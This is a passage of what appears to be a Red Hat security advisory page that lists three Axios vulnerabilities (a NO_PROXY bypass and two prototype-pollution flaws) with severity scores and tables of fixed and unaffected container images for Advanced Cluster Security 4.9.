| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. An attacker who can control the destination address of an Axios request can exploit this vulnerability. By using specific internal network addresses (within the 127.0.0.0/8 range, excluding 127.0.0.1), the attacker can completely bypass the NO_PROXY protection, potentially leading to unauthorized access or information disclosure within the network. This issue is an incomplete fix for a previous vulnerability.
7.2 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — | ||
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Threats
Impact
Important
A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as a Prototype Pollution "Gadget" attack, allows a remote attacker to subtly alter JSON API responses. By manipulating a specific function, an attacker can selectively modify data within these responses. This could lead to significant security breaches, including unauthorized privilege escalation, fraudulent balance manipulation, or bypassing critical authorization checks.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-operator-bundle@sha256:57da592df916a6bd9dfe90b2afc9a66b1cfb0da0053e87d0c65ef5c1bdf46969_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:3ff4a0d936d68e5e93b2eccf3b39271e5e6b510551fbb8c5f772db4bc5735771_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:8ca64e960ffe42a61f907fcda5e6bb99725c257d90e61360b948c9ccb41511cd_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:a0e7621e8d564efbc12c1aaadfbccc30bc4581684970b9730d11ab9fb2a234f1_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-rhel8-operator@sha256:c1cdc9beb3858a95e559a3432440a85c6b68ab0fd48c52672e645747b1540734_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:58dd6ad9728252d674ae923c43f836a1ba57ef756e995ba9a4c3c4aa79d5c90a_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:5b73a668f7c0806f1a0496420f724b98c83540558e976f700fb2836c8339d77e_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:73fb048efc844d82f8b1b6f5ebd75cfc63b98d5818c815bea6f2af64c8fa8e9a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-roxctl-rhel8@sha256:ec2d1346d211357af9a005e9ce76bbd66f3e57a966850c707e453f40e7c47b99_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:5eb84a8c05c25aa5d9d4e2d195ded7c0080075c8e93de13a1ac11f4f40723449_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:732beadbc0c0c1358ee6cee0121e88d576641669e8915bbbea49006642618bc8_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:c0de0eeefda096ad2c5cc07be1146547a1181166bd9d0fa0027aebc6b0d44c51_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-rhel8@sha256:e1718a46c5a65053136d917e1618d745cce876b82d54f81b219d7618aff6cf95_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:288a49cc9c6a73d6a3afdf8fd5d3cc051449aa83085bc303458dabcc6eacc31d_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:4dd03edf3099d6908424a5b56369617597335091ed47153066ffd8f65525930c_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:a252b5f2daf717143d7305b90c927b8f6e559de98fa9ad2763d6d5c4db0e6e9c_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-db-slim-rhel8@sha256:dc4a0674531b12fd31493d6046da3a6926151abbed9abec01402bc9966df5756_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:a493258b3ad62060f8f30a541a8dd0dfda0418fdcb1856b01031d8bc176a53d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:c1d22483d11206d1dbfc43a89ee13644dd27eec8a3a6e29342d340e137e191df_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:f71fa6ebb3c364c43038bf6968742e4c88efa567fbf5182611561a0016c09b65_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-rhel8@sha256:fa2c75c36da57d42a5285abec40f044b472cf782fa3505b2ad803ac2521d4fb4_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:50ad5781f1677028dfdfb98613ab75d843ec8a61ef6b2325545b73be0ef8cd82_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:7a7e2226a60242a9107043543e38cbe20e61991d83405c106b047d2b4e274125_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:8a804681a20fa3b8db7f70a4083d749eca45dcd043c837c0b3f9033bdea04494_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-slim-rhel8@sha256:e9628b5c8ea548da2f8e1827c16f0706e0dd7e88eb67ee155f09fd28544ce2bd_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:09ded9eb45b2da2e46f75b202cf82b0e3255cd2aa2a6d99961f204bca5227039_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:2068fb8c962c4edbca57a02e26fe347147caf3cf843e9ffc1c9d3c77d321bf3a_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:4b0a410f92ee242948b39a05c40b8262cf96014ae103feeec7500dc0a54457e2_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-db-rhel8@sha256:7e4be68af7aba018ca7f7482c01baf21eefd91667172a90bbc45adb6fe0f4495_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:0f84e20e7c7b45861749bb2c303a5b8f2fd8f6268304b5e968810e8f1c5d8c36_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:3b3d719054e1e0c39ce3ba0e433b391938576a8ece5ac52fce1d1f4bae0704d6_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:674041f4d277962ee71273839e2ee9a13a979eed5021feefa5eadc9bf6f68cf9_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-scanner-v4-rhel8@sha256:fb52c5e0fbe765e659f72ca61fa429fb59ae1c9030e846770e54a371a1e1b227_ppc64le | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a widely used HTTP client. This vulnerability, known as prototype pollution, allows an attacker to inject malicious properties into core JavaScript objects. When another component in the same application environment is compromised and pollutes the system's object prototype, Axios can unknowingly use these manipulated values in its outbound network requests. This could lead to the disclosure of sensitive information or the alteration of network communications, compromising data confidentiality and integrity.
7.4 (High)
Affected products
Fixed
4 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:2c05b3567adc67bc468830cdfc66e820f7cbb47ee0b5043a07be7ece7ab57a98_ppc64le | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:95c56e8f242a9ec6be3cccd752eb0a37638b7a6c249b4363ed22e55ff659ef82_amd64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:ad08006151b38330f5134c6c229a4c74361e85f4e4ad6124d41c0178f00d471d_arm64 | — |
Vendor Fix
fix
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-main-rhel8@sha256:de5929be6c71347b05b69ed72f9fd3c505fa72be437c224a2742240ff4f2cd47_s390x | — |
Vendor Fix
fix
Workaround
|
Known not affected
41 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:35f6d1d992eea9f67da1adf5418823547cb0dff248a54556d06ec7156fb35e87_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:553b8a7333d8106e57f1219d88ec16c3215e888659b4cb0c8c50f3ae87291c6c_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:6772545c27997554b7b94a2d6017b80949757254b2ebdaba23667d59010100a6_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-central-db-rhel8@sha256:babe2e99270875bb70f7e3c239cb2bd3d425cafd2c794efcd57d23924d9d0012_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:0f88c2913f1904a841a51a80a3e3209f56c80ad74e0b217a32ad99a7cffbb6fb_arm64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:24e7b2da3205f2c619394e87375974a532c57900e14aa5e15b2018d9f2caaba1_s390x | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ded5b808f00c26f0afc17808b1a5ab5a2877cca6bd90a98375ac253d3abeeca_ppc64le | — |
Workaround
|
|
| Unresolved product id: Red Hat Advanced Cluster Security for Kubernetes 4.9:registry.redhat.io/advanced-cluster-security/rhacs-collector-rhel8@sha256:5ec312a6d0e0e911f5187f8dbf6b3045ff70f52c555e181316b983008c00e4c2_amd64 | — |
Workaround
|
|
